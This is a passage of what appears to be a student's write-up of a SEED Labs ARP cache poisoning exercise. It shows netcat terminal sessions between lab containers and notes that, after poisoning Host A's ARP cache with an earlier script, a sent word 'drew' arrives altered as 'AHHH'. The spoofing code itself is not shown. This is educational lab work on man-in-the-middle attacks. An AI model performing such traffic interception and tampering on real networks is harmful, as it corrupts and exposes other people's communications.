root@6d78409d31d0:/# nc 10.9.0.6 9090
da
drew
[
root@aa24c37cc7a2:/# exit
exit
[03/01/23]seed@VM:~/.../Labsetup$ docksh aa
root@aa24c37cc7a2:/# nc -l 9090
exam
exma
exam
exam
exam
exam
^C
root@aa24c37cc7a2:/# nc -l 9090
da
AHHH
  
```

After poisoning Host A's ARP cache with the previous test.py script, executing `nc 10.9.0.6 9090` on Host A and `nc -l 9090` on Host B, transmitting 'drew' is transformed to 'AHHH' when received by Host B.